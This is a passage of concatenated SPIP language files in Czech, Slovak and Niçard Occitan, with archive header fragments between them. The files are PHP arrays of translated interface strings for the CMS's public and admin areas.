'titre_nouvelle_rubrique' => 'Nová sekce',
'titre_numero_rubrique' => 'SEKCE ČÍSLO:',
'titre_page_admin_effacer' => 'Technická údržba: odstranění databáze',
'titre_page_articles_edit' => 'Změnit: @titre@',
'titre_page_articles_page' => 'Články',
'titre_page_articles_tous' => 'Celý web',
'titre_page_auteurs' => 'Návštěvníci',
'titre_page_calendrier' => 'Kalendář @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Nastavení webu',
'titre_page_config_fonctions' => 'Nastavení webu',
'titre_page_configuration' => 'Nastavení webu',
'titre_page_controle_petition' => 'Sledování peticí',
'titre_page_delete_all' => 'kompletní a nevratné odstranění',
'titre_page_documents_liste' => 'Dokumenty v sekcích',
'titre_page_index' => 'Váš privátní prostor',
'titre_page_message_edit' => 'Upravit zprávu',
'titre_page_messagerie' => 'Váš systém zpráv',
'titre_page_recherche' => 'Výsledky vyhledávání @recherche@',
'titre_page_statistiques_referers' => 'Statistiky (příchozí odkazy)',
'titre_page_upgrade' => 'Aktualizace systému SPIP',
'titre_publication_articles_post_dates' => 'Zveřejnění post-datovaných článků',
'titre_referencer_site' => 'Zadat odkaz na web:',
'titre_rendez_vous' => 'SCHŮZKA:',
'titre_reparation' => 'Oprava',
'titre_suivi_petition' => 'Sledování peticí',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Článek tohoto čísla neexistuje.',
'trad_article_traduction' => 'Dostupné překlady tohoto článku:',
'trad_deja_traduit' => 'Chyba: tento článek není možné propojit s požadovaným číslem',
'trad_delier' => 'Tento článek nadále s překlady nespojovat', # MODIF
'trad_lier' => 'Toto je překlad článku číslo:',
'trad_new' => 'Nově přeložit článek', # MODIF
// U
'utf8_convert_attendez' => 'Počkejte několik sekund a potom znovu načtěte tuto stránku.',
'utf8_convert_avertissement' => 'Nyní zkonvertujete obsah databáze (články, novinky, ...) ze znakové sady <b>@orig@</b> do znakové sady <b>@charset@</b>.',
'utf8_convert_backup' => 'Nezapomeňte nejprve udělat kompletní zálohu vašeho webu. Rovněž zkontrolujte, zda jsou vaše šablony a jazykové soubory kompatibilní se znakovou sadou @charset@. ',
'utf8_convert_erreur_deja' => 'Váš web již používá znakovou sadu @charset@, není důvod ke konverzi.',
'utf8_convert_erreur_orig' => 'Chyba: jazyková sada @charset@ není podporována.',
'utf8_convert_termine' => 'Hotovo!',
'utf8_convert_timeout' => '<b>Důležité:</b> Pokud server odpoví <i>timeout</i> nebo podobně, obnovujte stránku dokud se neobjeví «Hotovo!».',
'utf8_convert_verifier' => 'Nyní vyprázdněte cache a zkontrolujte veřejnou část vašeho webu. Pokud by nastaly vážné problémy, najdete zálohu původních dat (ve formátu SQL) v adresáři @rep@.',
'utf8_convertir_votre_site' => 'Zkovertujte web do UTF-8',
// V
'version' => 'Verze:'
);
?>
public_sk.php 0000666 00000007654 15252547432 0007261 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Úvodná stránka',
'article' => 'Článok',
'articles' => 'Články',
'articles_auteur' => 'Články tohto autora',
'articles_populaires' => 'Najčítanejšie články',
'articles_rubrique' => 'Články v tejto rubrike',
'aucun_article' => 'Na tejto adrese nie je žiadny článok',
'aucun_auteur' => 'Na tejto adrese nie je žiadny autor',
'aucun_site' => 'Na tejto adrese nie je žiadny odkaz',
'aucune_breve' => 'Tu nie sú žiadne novinky',
'aucune_rubrique' => 'Na tejto adrese nie je žiadna rubrika',
'auteur' => 'Autor',
'autres' => 'Ostatní',
'autres_breves' => 'Iné novinky',
'autres_groupes_mots_clefs' => 'Ďalšie skupiny kľúčových slov',
'autres_sites' => 'Ďalšie odkazy',
// B
'bonjour' => 'Dobrý deň',
// C
'commenter_site' => 'Komentár k tejto stránke',
'contact' => 'Napíšte nám',
'copie_document_impossible' => 'Tento dokument sa nedá kopírovať',
// D
'date' => 'Dátum',
'dernier_ajout' => 'Posledné príspevky',
'dernieres_breves' => 'Najnovšie novinky',
'derniers_articles' => 'Posledné články',
'derniers_commentaires' => 'Posledné komentáre',
'derniers_messages_forum' => 'Najnovšie príspevky v diskusných fórach',
// E
'edition_mode_texte' => 'Textový režim',
'en_reponse' => 'Odpoveď na:',
'en_resume' => 'Zhrnutie',
'envoyer_message' => 'Odoslať správu',
'espace_prive' => 'Súkromná zóna',
// F
'formats_acceptes' => 'Akceptované formáty: @formáty@.',
// H
'hierarchie_site' => 'Štruktúra stránok',
// J
'jours' => 'dní',
// L
'lien_connecter' => 'Prihlásiť sa',
// M
'meme_auteur' => 'Od rovnakého autora',
'meme_rubrique' => 'V rovnakej rubrike',
'memes_auteurs' => 'Od rovnakých autorov',
'message' => 'Správa',
'messages_forum' => 'Príspevky',
'messages_recents' => 'Najnovšie príspevky v diskusných fórach',
'mots_clef' => 'Kľúčové slovo',
'mots_clefs' => 'Kľúčové slová',
'mots_clefs_meme_groupe' => 'Kľúčové slová v rovnakej skupine',
// N
'navigation' => 'Navigácia',
'nom' => 'Meno',
'nouveautes' => 'Čo je nové',
'nouveautes_web' => 'Novinky na webe',
'nouveaux_articles' => 'Nové články',
'nouvelles_breves' => 'Najnovšie novinky',
// P
'page_precedente' => 'predchádzajúca strana',
'page_suivante' => 'ďaľšia strana',
'par_auteur' => 'napísal(a) ',
'participer_site' => 'Ak sa tu zaregistrujete, môžete sa aktívne zúčastňovať diania na tejto stránke a písať svoje vlastné články. Dostanete e-mail s údajmi k svojmu účtu do súkromnej zóny stránky.',
'plan_site' => 'Mapa stránok',
'popularite' => 'Popularita',
'poster_message' => 'Napísať správu',
'proposer_site' => 'Môžete navrhnúť webovú stránku na zaradenie do tejto rubriky:',
// R
'repondre_article' => 'Reagovať na tento článok',
'repondre_breve' => 'Komentovať túto novinku ',
'resultats_recherche' => 'Výsledky vyhľadávania',
'retour_debut_forums' => 'Návrat na začiatok diskusných fór',
'rubrique' => 'Rubrika',
'rubriques' => 'Rubriky',
// S
'signatures_petition' => 'Podpisy',
'site_realise_avec_spip' => 'Stránka vytvorená pomocou SPIPu',
'sites_web' => 'Odkazy',
'sous_rubriques' => 'Podrubriky',
'spam' => 'Spam',
'suite' => 'pokračovanie',
'sur_web' => 'Na webe',
'syndiquer_rubrique' => 'Zaradiť túto rubriku',
'syndiquer_site' => 'Zaradiť celú stránku',
// T
'texte_lettre_information' => 'Tu je bulletin tejto stránky',
'texte_lettre_information_2' => 'Táto stránka obsahuje novinky publikované od',
// V
'ver_imprimer' => 'Verzia pre tlač',
'voir_en_ligne' => 'Zobraziť online',
'voir_squelette' => 'Zobraziť šablónu tejto stránky'
);
?>
ecrire_oc_ni_mis.php 0000666 00000173063 15252547432 0010574 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_ni_mis
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Ativà lou plugin',
'affichage' => 'Afichage',
'aide_non_disponible' => 'Aquela partida de l’ajuda en ligna es pas encara dispounibla per aquela lenga.',
'annuler_recherche' => 'Anulà la recerca',
'auteur' => 'Autour :',
'avis_acces_interdit' => 'Achès prouhibit.',
'avis_article_modifie' => 'Mèfi, @nom_auteur_modif@ a travalhat soubre aquel article @date_diff@ minuta fa',
'avis_aucun_resultat' => 'Mìnga resultat.',
'avis_base_inaccessible' => 'Empoussible de si counetà a la basa de dounada @base@.',
'avis_chemin_invalide_1' => 'Lou camin qu’avès chausit',
'avis_chemin_invalide_2' => 'noun sembla vàlidou. Vourguès tournà a la pàgina prechedenta e verificà li informacioun prouvedi.',
'avis_connexion_echec_1' => 'La counessioun a la basa de dounada a souhit.',
'avis_connexion_echec_2' => 'Tournàs à la pàgina anterioura, e verificàs li informacioun qu’avès prouvedi.',
'avis_connexion_echec_3' => '<b>N.B.</b> Soubre touplen de servidou, devès <b>demandà</b> l’ativacioun dóu vouòstre achès a la basa de dounada denant de la poudé utilisà. Se noun vi poudès counetà, verificàs qu’avès ben realisat aquela demarcha.',
'avis_connexion_erreur_creer_base' => 'La basa de dounada a pas pouscut estre creada.',
'avis_connexion_erreur_nom_base' => 'Lou noum de la basa de dounada pòu countenì que dei letra, dei chifra o dei ligneta',
'avis_connexion_ldap_echec_1' => 'La counessioun au servidou LDAP a souhit.',
'avis_connexion_ldap_echec_2' => 'Tournàs a la pàgina prechedenta, e verificàs li infourmacioun qu’avès prouvedi. ',
'avis_connexion_ldap_echec_3' => 'D’un biais alternatiéu, noun utilisàs lou supouart LDAP per impourtà d’utilisaire.',
'avis_deplacement_rubrique' => 'Mèfi ! Aquela rùbrica counten @contient_breves@ brèva @scb@ : se la desplaçàs, vourguès ben entacà aquela casa de counfirmacioun.',
'avis_erreur_connexion_mysql' => 'Errour de counessioun SQL',
'avis_espace_interdit' => '<b>Espaci prouhibit</b><div>SPIP es ja instalat.</div>',
'avis_lecture_noms_bases_1' => 'Lou prougrama d’instalacioun a pas pouscut legì lu noum dei basa de dounada instaladi.',
'avis_lecture_noms_bases_2' => 'Sìa minga de basa es dispounibla, sìa la founcioun que permete de listà li basa es estada desativada
per de rasoun de segurtà (cen qu’es lou cas de plusiur aubergadour).',
'avis_lecture_noms_bases_3' => 'En la segounda alternativa, es proubable qu’una basa que pouòrta lou vouòstre noum de counessioun sigue utilisabla :',
'avis_non_acces_page' => 'Noun avès achès en aquela pàgina.',
'avis_operation_echec' => 'L’ouperacioun a souhit.',
'avis_operation_impossible' => 'Ouperacioun empoussibla',
'avis_suppression_base' => 'MÈFI, la supressioun dei dounada es irreversibla',
// B
'bouton_acces_ldap' => 'Ajustà l’achès a LDAP',
'bouton_ajouter' => 'Ajustà',
'bouton_annuler' => 'Anulà',
'bouton_cache_activer' => 'Reativà l’amagadou',
'bouton_cache_desactiver' => 'Desativà tempourariamen l’amagadou',
'bouton_demande_publication' => 'Demandà la publicacioun d’aquel article',
'bouton_desactive_tout' => 'Desativà tout',
'bouton_desinstaller' => 'Desinstalà',
'bouton_effacer_tout' => 'Escassà TOUT',
'bouton_envoyer_message' => 'Message definitiéu : mandà',
'bouton_fermer' => 'Fermà',
'bouton_mettre_a_jour_base' => 'Metre a jou la basa de dounada',
'bouton_modifier' => 'Moudificà',
'bouton_radio_afficher' => 'Afichà',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparèisse en la lista dei redatour counectat',
'bouton_radio_envoi_annonces_adresse' => 'Mandà li anounça à l’adressa :',
'bouton_radio_envoi_liste_nouveautes' => 'Mandà la lista dei nouvità',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Noun aparèisse en la lista dei redatour',
'bouton_radio_non_envoi_annonces_editoriales' => 'Noun mandà d’anounça editouriali',
'bouton_redirection' => 'REDIRECIOUN',
'bouton_relancer_installation' => 'Relançà l’instalacioun',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Prouvà una recuperacioun',
'bouton_test_proxy' => 'Prouvà lou proxy',
'bouton_vider_cache' => 'Vuà l’amagadou',
// C
'cache_modifiable_webmestre' => 'Lou webmestre dóu sit pòu modificà aquèu paramètre.',
'calendrier_synchro' => 'S’utilisàs un lougiciau d’agènda coumpatible embé <b>iCal</b>, lou poudès sincronisà embé li informacioun d’estou sit.',
'config_activer_champs' => 'Ativà lu camp segoun',
'config_choix_base_sup' => 'endicà una basa soubre aquestou servidou',
'config_erreur_base_sup' => 'SPIP a pas achès à la lista dei basa achessibli',
'config_info_base_sup' => 'Se avès d’autri basa de dounada da interrougà pèr SPIP, embé lou siéu servidou SQL o embé un autre, lou fourmulari aquì souta, vi permete de li declarà. Se laissàs d’uni camp vuèi, lu identificant de counessioun a la basa principala seran utilisat.',
'config_info_base_sup_disponibles' => 'Basa suplementari jà interogable :',
'config_info_enregistree' => 'La counfiguracioun nouvela es estada registrada',
'config_info_logos' => 'Cada elemen dóu site pòu avé un logou, e un « logou de survol »',
'config_info_logos_utiliser' => 'Utilisà lu logo',
'config_info_logos_utiliser_non' => 'Noun utilisà lu logo',
'config_info_logos_utiliser_survol' => 'Utilisà lu logo de survol',
'config_info_logos_utiliser_survol_non' => 'Noun utilisà lu logo de survol',
'config_info_redirection' => 'En ativant aquela oupcioun, poudès creà dei article virtual, simple referença d’article publicat soubre d’autre sit o fouòra de SPIP.',
'config_redirection' => 'Article virtual',
'config_titre_base_sup' => 'Declaracioun d’una basa suplementari',
'config_titre_base_sup_choix' => 'Chausissès una basa suplementari',
'connexion_ldap' => 'Counessioun :',
'creer_et_associer_un_auteur' => 'Creà et assoucià un autour',
// D
'date_mot_heures' => 'oura',
// E
'ecran_securite' => ' + ecran de segurtà @version@',
'email' => 'e-mail',
'email_2' => 'e-mail:',
'en_savoir_plus' => 'N’en saupre de mai',
'entree_adresse_annuaire' => 'Adressa de l’anuari',
'entree_adresse_email' => 'La vouòstra adressa e-mail',
'entree_adresse_email_2' => 'Adressa e-mail',
'entree_base_donnee_1' => 'Adressa de la basa de dounada',
'entree_base_donnee_2' => '(Souventi fès, aquela adressa courrespouònde en aquela dóu vouòstre sit, de còu courrespouònde à la mencioun « localhost », d’autre còu, es laissada vuèia coumpletamen.)',
'entree_biographie' => 'Biougrafìa brèva, en quauque mot.',
'entree_chemin_acces' => '<b>Entrà</b> lou camin d’achès :',
'entree_cle_pgp' => 'La vouòstra clau PGP',
'entree_cle_pgp_2' => 'Clau PGP',
'entree_contenu_rubrique' => '(Countengut de la rùbrica en quauque mot.)',
'entree_identifiants_connexion' => 'Lu vouòstre identificant de counessioun...',
'entree_identifiants_connexion_2' => 'Identificant de counessioun',
'entree_informations_connexion_ldap' => 'Vourguès entrà en aqueu fourmulari li informacioun de counessioun au vouòstre anuari LDAD.
Aqueli informacioun vi devon poudé estre prouvedi per l’aministratour dóu sistema, o de la taragnina.',
'entree_infos_perso' => 'Qu sias ?',
'entree_infos_perso_2' => 'Qu es l’autour ?',
'entree_interieur_rubrique' => 'Dintre la rùbrica:',
'entree_liens_sites' => '<b>Estac ipertèst</b> (referença, sit da visità...)',
'entree_login' => 'Lou vouòstre login',
'entree_login_connexion_1' => 'Lou login de counecioun',
'entree_login_connexion_2' => '(Courrespouònde de còu au vouòstre login d’accès FTP; de còu laissat vuèi)',
'entree_mot_passe' => 'Lou vouòstre mot de passa',
'entree_mot_passe_1' => 'Lou mot de passa de counecioun',
'entree_mot_passe_2' => '(Courrespouònde de còu au vouòstre mot de passa per lou FTP; de còu es laissat vuèi)',
'entree_nom_fichier' => 'Vourguès entrà lou noum dóu fichié @texte_compresse@:',
'entree_nom_pseudo' => 'Lou vouòstre noum o lou vouòstre pseudounime',
'entree_nom_pseudo_1' => '(Lou vouòstre noum o lou vouòstre pseudounime)',
'entree_nom_pseudo_2' => 'Noum o pseudounime',
'entree_nom_site' => 'Lou noum dóu vouòstre sit',
'entree_nom_site_2' => 'Noum dóu sit de l’autour',
'entree_nouveau_passe' => 'Mot de passa novèu',
'entree_passe_ldap' => 'Mot de passa',
'entree_port_annuaire' => 'Lou numerò de pouòrt de l’anuari',
'entree_signature' => 'Firma',
'entree_titre_obligatoire' => '<b>Titre</b> [Oubligatori]<br />',
'entree_url' => 'L’adressa (URL) dóu vouòstre sit',
'entree_url_2' => 'Adressa (URL) dóu sit',
'erreur_connect_deja_existant' => 'Un servidou esista jà embé aqueu noum',
'erreur_email_deja_existant' => 'Aquela adressa e-mail es jà registrada.',
'erreur_nom_connect_incorrect' => 'Aqueu noum de servidou noun es autourisat',
'erreur_plugin_attribut_balise_manquant' => 'Atribut @attribut@ mancant en la balisa @balise@.',
'erreur_plugin_desinstalation_echouee' => 'La desinstalacioun dóu plugin a souhit. Mà poudès lou desativà.',
'erreur_plugin_fichier_absent' => 'Fichié assent',
'erreur_plugin_fichier_def_absent' => 'Fichié de definicioun assent',
'erreur_plugin_nom_fonction_interdit' => 'Noum de founcioun prouhibit',
'erreur_plugin_nom_manquant' => 'Noum dóu plugin mancant',
'erreur_plugin_prefix_manquant' => 'Espaci de noumage dóu plugin noun definit',
'erreur_plugin_tag_plugin_absent' => '<plugin> assent dóu fichié de definicioun',
'erreur_plugin_version_manquant' => 'Mìnga versioun dóu plugin',
// H
'htaccess_a_simuler' => 'Avertissamen : la counfiguracioun dóu vouòstre servidou HTTP noun ten rasoun dei fichié @htaccess@. Per poudé assegurà una bouòna segurtà, vi cóu moudificà aquela counfiguracioun soubre aqueu pounch, o que li coustanta @constantes@ (definissable en lou fichié mes_options.php) aiguon dei repertori en defouòra de @document_root@ per valour.',
'htaccess_inoperant' => 'htaccess inouperant',
// I
'ical_info1' => 'Esta pàgina presenta de metoda diferenti da restà en countat embé la vida d’estou sit.',
'ical_info2' => 'Per avé mai d’informacioun soubre aqueli tècnica, noun esitàs de counsultà <a href="@spipnet@">la doucumentacioun de SPIP</a>.',
'ical_info_calendrier' => 'Li a doui calendari a la vouòstra dispousicioun. Lou premié es un plan dóu sit qu’anounça toui lu article publicat. Lou segount counten li anounça editoriali en mai dei vouòstre darrié message privat : v’es reservat graça a una clau persounala, que la poudès moudificà a cada moumen en renouvelant lou vouòstre mot de passa.',
'ical_methode_http' => 'Telecargamen',
'ical_methode_webcal' => 'Sincronisacioun (webcal://)',
'ical_texte_js' => 'Una ligna de javascript vi permete d’afichà simplamen, soubre toui lu vouòstre sit, lu article rechentamen publicat soubre estou sit. ',
'ical_texte_prive' => 'Estou calendari, d’usage estrech personal, v’infourma de l’atività editoriala privada d’estou sit (taca e apountamen persounal, article e brèva proupausat...).',
'ical_texte_public' => 'Estou calendari vi permete de sègre l’atività pùblica d’estou sit (article e brèva publicadi).',
'ical_texte_rss' => 'Poudès sindicà li nouvità d’estou sit en toui lu letour de fichié en format XML/RSS (Rich Site Summary). Es finda lou format que permete à SPIP de legì li nouvità publicadi soubre d’autre sit en utilisant un format d’escambi compatible (sit sindicat).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Fichié de sindicacioun',
'icone_accueil' => 'Acuèlh',
'icone_activer_cookie' => 'Ativà lou cookie de courrespoundença',
'icone_activite' => 'Atività',
'icone_admin_plugin' => 'Gestioun dei plugin',
'icone_administration' => 'Mantenença',
'icone_afficher_auteurs' => 'Afichà lu autour',
'icone_afficher_visiteurs' => 'Afichà lu visitaire',
'icone_arret_discussion' => 'Plus participà en aquela discussioun',
'icone_calendrier' => 'Calendari',
'icone_configuration' => 'Counfiguracioun',
'icone_creer_auteur' => 'Creà un nouvèl autour e l’assoucià en aquel article',
'icone_creer_mot_cle' => 'Creà un nouvèu mot clau e lou ligà en aquel article',
'icone_creer_rubrique_2' => 'Creà una novèla rùbrica',
'icone_developpement' => 'Desfouloupamen',
'icone_edition' => 'Edicioun',
'icone_ma_langue' => 'La mieu lenga',
'icone_mes_infos' => 'Li mieu infourmacioun',
'icone_mes_preferences' => 'Li mieu preferença',
'icone_modifier_article' => 'Moudificà aquel article',
'icone_modifier_rubrique' => 'Moudificà aquela rùbrica',
'icone_publication' => 'Publicacioun',
'icone_relancer_signataire' => 'Relançà lou signatari',
'icone_retour' => 'Retour',
'icone_retour_article' => 'Retour a l’article',
'icone_squelette' => 'Esquèletrou',
'icone_suivi_publication' => 'Segut de la publicacioun',
'icone_supprimer_cookie' => 'Suprimà lou cookie de courrespoundença',
'icone_supprimer_rubrique' => 'Suprimà aquela rùbrica',
'icone_supprimer_signature' => 'Suprimà aquela firma',
'icone_valider_signature' => 'Validà aquela firma',
'image_administrer_rubrique' => 'Poudès aministrà aquela rùbrica',
'info_1_article' => '1 article',
'info_1_auteur' => '1 autour',
'info_1_message' => '1 message',
'info_1_mot_cle' => '1 mot clau',
'info_1_rubrique' => '1 rùbrica',
'info_1_visiteur' => '1 visitour',
'info_activer_cookie' => 'Poudès ativà un <b>cookie de courrespoundença</b>; acò vi permeterà de passà facilamen dóu sit pùblicou au sit privat.',
'info_activer_menu_developpement' => 'Afichà lou menù Desfouloupamen',
'info_admin_etre_webmestre' => 'Mi dounà lu drech de webmestre',
'info_admin_gere_rubriques' => 'Aquel aministratour gèra li rùbrica seguenti:',
'info_admin_gere_toutes_rubriques' => 'Aquel aministratour gèra<b>touti li rùbrica</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Gèri <b>touti li rùbrica</b>',
'info_admin_je_suis_webmestre' => 'Siéu <b>webmestre</b>',
'info_admin_statuer_webmestre' => 'Dounà en aquel aministratour lu drech de webmèstre',
'info_admin_webmestre' => 'Aquel aministratour es <b>webmestre</b>',
'info_administrateur' => 'Aministratour',
'info_administrateur_1' => 'Aministratour',
'info_administrateur_2' => 'dóu sit (<i>utilisàs embé precaucioun</i>)',
'info_administrateur_site_01' => 'Se siàs aministratour dóu sit, vourguès',
'info_administrateur_site_02' => 'clicà soubre aquel estac',
'info_administrateurs' => 'Aministratour',
'info_administrer_rubrique' => 'Poudès aministrà aquela rùbrica',
'info_adresse' => 'a l’adressa:',
'info_adresse_desinscription' => 'Adressa de desinscricioun',
'info_adresse_url' => 'Adressa (URL) dóu sit pùblicou',
'info_afficher_par_nb' => 'Afichà per',
'info_aide_en_ligne' => 'Ajuda en ligna SPIP',
'info_ajout_image' => 'Quoura ajustàs d’image couma doucumen jounch a un article,
SPIP pòu creà autoumaticamen, per vautre, de vigneta (miniatura) dei
image inseridi. Acò permet per isemple de creà
autoumaticamen una galarìa o un pouòrtafoliò.',
'info_ajouter_rubrique' => 'Ajustà un’autra rùbrica a aministrà:',
'info_annonce_nouveautes' => 'Anounça dei nouvità',
'info_article' => 'article',
'info_article_2' => 'article',
'info_article_a_paraitre' => 'Lu article post-datat per pareisse',
'info_articles_02' => 'article',
'info_articles_2' => 'Article',
'info_articles_auteur' => 'Lu article d’aquel autour',
'info_articles_miens' => 'Lu mieu article',
'info_articles_tous' => 'Toui lu article',
'info_articles_trouves' => 'Article troubat',
'info_attente_validation' => 'Lu vouòstre article en aspera de validacioun',
'info_aucun_article' => 'Mìnga article',
'info_aucun_auteur' => 'Mìnga autour',
'info_aucun_message' => 'Minga message',
'info_aucun_rubrique' => 'Mìnga rùbrica',
'info_aujourdhui' => 'Ancuei :',
'info_auteurs' => 'Lu autour',
'info_auteurs_par_tri' => 'autour@partri@',
'info_auteurs_trouves' => 'Autour troubat',
'info_authentification_externe' => 'Autentificacioun esterna',
'info_avertissement' => 'Avertissamen',
'info_barre_outils' => 'embé la siéu barra d’óutis ?',
'info_base_installee' => 'L’estrutura de la vouòstra basa de dounada es instalada.',
'info_bio' => 'Biougrafìa',
'info_cache_desactive' => 'L’amagadou es tempourariamen desativat.',
'info_chapeau' => 'Capèu',
'info_chapeau_2' => 'Capèu :',
'info_chemin_acces_1' => 'Oupcioun : <b>camin d’achès en l’anuari</b>',
'info_chemin_acces_2' => 'Devès ahura counfigurà lou camin d’accès ai infourmacioun en l’anuari. Aquela infourmacioun es necessari per legì lu proufiéu d’utilisaire amoulounat en l’anuari.',
'info_chemin_acces_annuaire' => 'Oupcioun: <b>camin d’accès en l’anuari</b>',
'info_choix_base' => 'Tèrsa tapa :',
'info_classement_1' => '<sup>é</sup> sus @liste@',
'info_classement_2' => '<sup>nt</sup> sus @liste@',
'info_code_acces' => 'Noun denembràs lu vouòtre code d’accès persounal!',
'info_compatibilite_html' => 'Nourma HTML da sègre',
'info_config_suivi' => 'S’aquela adressa courrespouònde a una mailing-list, poudès endicà aquì souta l’adressa que lu participant au sit si pouòdon inscriéure. Aquela adressa pòu estre una URL (per isemple la pàgina d’inscricioun a la lista per web), o una adressa e-mail embé un sujet especific (per isemple : <tt>@adresse_suivi@?subject=subscribe</tt>) :',
'info_config_suivi_explication' => 'Vi poudès abounà a la mailing-list d’estou sit. Receverès per courrié eletrounic li anounça dei article e brèva proupausat a la publicacioun.',
'info_confirmer_passe' => 'Counfirmà aqueu mot de passa nouvèu :',
'info_conflit_edition_avis_non_sauvegarde' => 'Mèfi, aquelu camp soun estat moudificat per quauqun. Vouòstri moudificacioun sus aquelu camp noun soun estadi registradi.',
'info_conflit_edition_differences' => 'Diferença :',
'info_conflit_edition_version_enregistree' => 'La versioun registrada :',
'info_conflit_edition_votre_version' => 'La vouòstra versioun :',
'info_connexion_base' => 'Prova de counessioun a la basa',
'info_connexion_base_donnee' => 'Counessioun a la vouòstra basa de dounada',
'info_connexion_ldap_ok' => '<b>La counessioun LDAP a reussit.</b><p> Poudès passà a la tapa seguenta.</p>',
'info_connexion_mysql' => 'La vouòstra counessioun SQL',
'info_connexion_ok' => 'La counessioun a reussit.',
'info_contact' => 'Countat',
'info_contenu_articles' => 'Countengut dei article',
'info_contributions' => 'Countribucioun',
'info_creation_paragraphe' => 'Per creà de paràgrafou, laissàs simplamen dei ligna vuèii.',
'info_creation_rubrique' => 'Denant de poudé escrieure d’article,<br /> devès creà au màncou una rùbrica.<br />',
'info_creation_tables' => 'Creacioun dei taula de la basa',
'info_creer_base' => '<b>Creà</b> una nouvela basa de dounada :',
'info_dans_rubrique' => 'En la rùbrica:',
'info_date_publication_anterieure' => 'Data anterioura de redacioun :',
'info_date_referencement' => 'DATA DE REFERENÇAMEN D’AQUEU SIT :',
'info_derniere_etape' => 'Es acabat !',
'info_descriptif' => 'Descritiéu :',
'info_desinstaller_plugin' => 'suprima li dounada e desativa lou plugin',
'info_discussion_cours' => 'Discussioun en cours',
'info_ecrire_article' => 'Denant de poudé escriéure d’article, devès au mancou creà una rùbrica.',
'info_email_envoi' => 'Adressa e-mail d’espedissioun (oupciounau)',
'info_email_envoi_txt' => 'Endicàs aquí l’adressa da utilisà per mandà lu e-mails (en mancança, s’utiliserà l’adressa destinatàri couma adressa d’espedissioun):',
'info_email_webmestre' => 'Adressa e-mail dau webmestre',
'info_envoi_email_automatique' => 'Espedissioun d’e-mails autoumatic',
'info_envoyer_maintenant' => 'Mandà ahura',
'info_etape_suivante' => 'Passà a la tapa seguenta',
'info_etape_suivante_1' => 'Poudès passà a la tapa seguenta.',
'info_etape_suivante_2' => 'Poudès passà a la tapa seguenta.',
'info_exceptions_proxy' => 'Ecepcioun per lou proxy',
'info_exportation_base' => 'Espourtacioun de la basa vers @archive@',
'info_facilite_suivi_activite' => 'Per fin de facilità lou segut de l’atività editouriala dóu sit, SPIP vi pòu fournì per e-mail, per isemple a una mailing-list dei redatour, l’anounça dei demanda de publicacioun e de validacioun d’article.',
'info_fichiers_authent' => 'Fichié d’autentificacioun « .htpasswd »',
'info_forums_abo_invites' => 'Lou vouòstre sit web counten de fòrou per lu abounat ; lu visitaire soun counvidat de si registrà sus lou sit public.',
'info_gauche_admin_tech' => '<b>Aquela pàgina es basta achessible ai respounsable dóu sit.</b><p> Douna achès ai diferenti founcioun de mantenença tecnica. D’uni d’entre eli implicoun un prouchedimen d’autentificacion especific, que
necessita d’avé un achès FTP au sit web.</p>',
'info_gauche_admin_vider' => '<b>Aquela pàgina es basta achessible ai respounsable dóu sit.</b><p> Douna achès ai diferenti founcioun de mantenença tecnica. D’uni d’entre eli implicoun un prouchedimen d’autentificacion especific, que necessita d’avé un achès FTP au sit web.</p>',
'info_gauche_auteurs' => 'Trouberès aquì toui lu autour dóu sit.
Lou sieu estatut es endicat per la coulou de la sieu icona (aministratour : verda; redatour : jauna).',
'info_gauche_auteurs_exterieurs' => 'Lu autour esteriour, sensa achès au sit, soun endicat per una icona blua ; lu autour escassat per una icona grìha.',
'info_gauche_messagerie' => 'La messagerìa vi permete d’escambià de message entre redatour, de counservà de nota de renembrança (per lou vouòstre usage persounal) o d’afichà d’anounça sus la pàgina d’acuèlh de l’espaci privat (se sias aministratour).',
'info_gauche_statistiques_referers' => 'Aquela pàgina presenta la lista dei <i>referit</i>, es a dire dei sit que countenon d’estac que menon drech au vouòstre sit, ma basta per ièr e ancuèi ; aquela lista es atualisada cada 24 oura.',
'info_gauche_visiteurs_enregistres' => 'Trouberès aquì lu visitour registrat en l’espaci public dóu sit (fòrou sus abounamen).',
'info_generation_miniatures_images' => 'Generacioun de miniatura dei image',
'info_gerer_trad_objets' => '@objets@ : gerà lu estac de traducioun',
'info_hebergeur_desactiver_envoi_email' => 'Lì soun d’aubergadour que desativon l’espedissioun autoumatica
d’e-mail dai sieu servidou. En aqueu cas, li founciounalità seguenti
de SPIP noun founciouneràn.',
'info_hier' => 'ièr :',
'info_identification_publique' => 'La vouòstra identitat publica...',
'info_image_process' => 'Vourguès seleciounà lou milhour mètodou de fabricacioun dei vigneta en clicant sus l’image courrespoundenta.',
'info_image_process2' => 'Se minga d’image parèisse, aloura lou servidou qu’auberga lou vouòstre sit noun es estat configurat per utilisà aquelu óutis. Se vourguès utilisà aqueli founcioun, contactàs lou respounsable tecnic e demandàs li estensioun « GD » o « Imagick ».',
'info_images_auto' => 'Image carculadi autoumaticamen',
'info_informations_personnelles' => 'Infourmacioun persounali',
'info_inscription' => 'Inscricioun lou',
'info_inscription_automatique' => 'Inscricioun autoumatica de redatour novèu',
'info_jeu_caractere' => 'Juèc de caratère dóu sit',
'info_jours' => 'jou',
'info_laisser_champs_vides' => 'laissà lu camp vuèi)',
'info_langues' => 'Lenga dóu sit',
'info_ldap_ok' => 'L’autentificacioun LDAP es instalada.',
'info_lien_hypertexte' => 'Estac ipertèst :',
'info_liste_nouveautes_envoyee' => 'La lista dei nouvità a estat mandada',
'info_liste_redacteurs_connectes' => 'Lista dei redatour counectat',
'info_login_existant' => 'Aqueu login jà esista.',
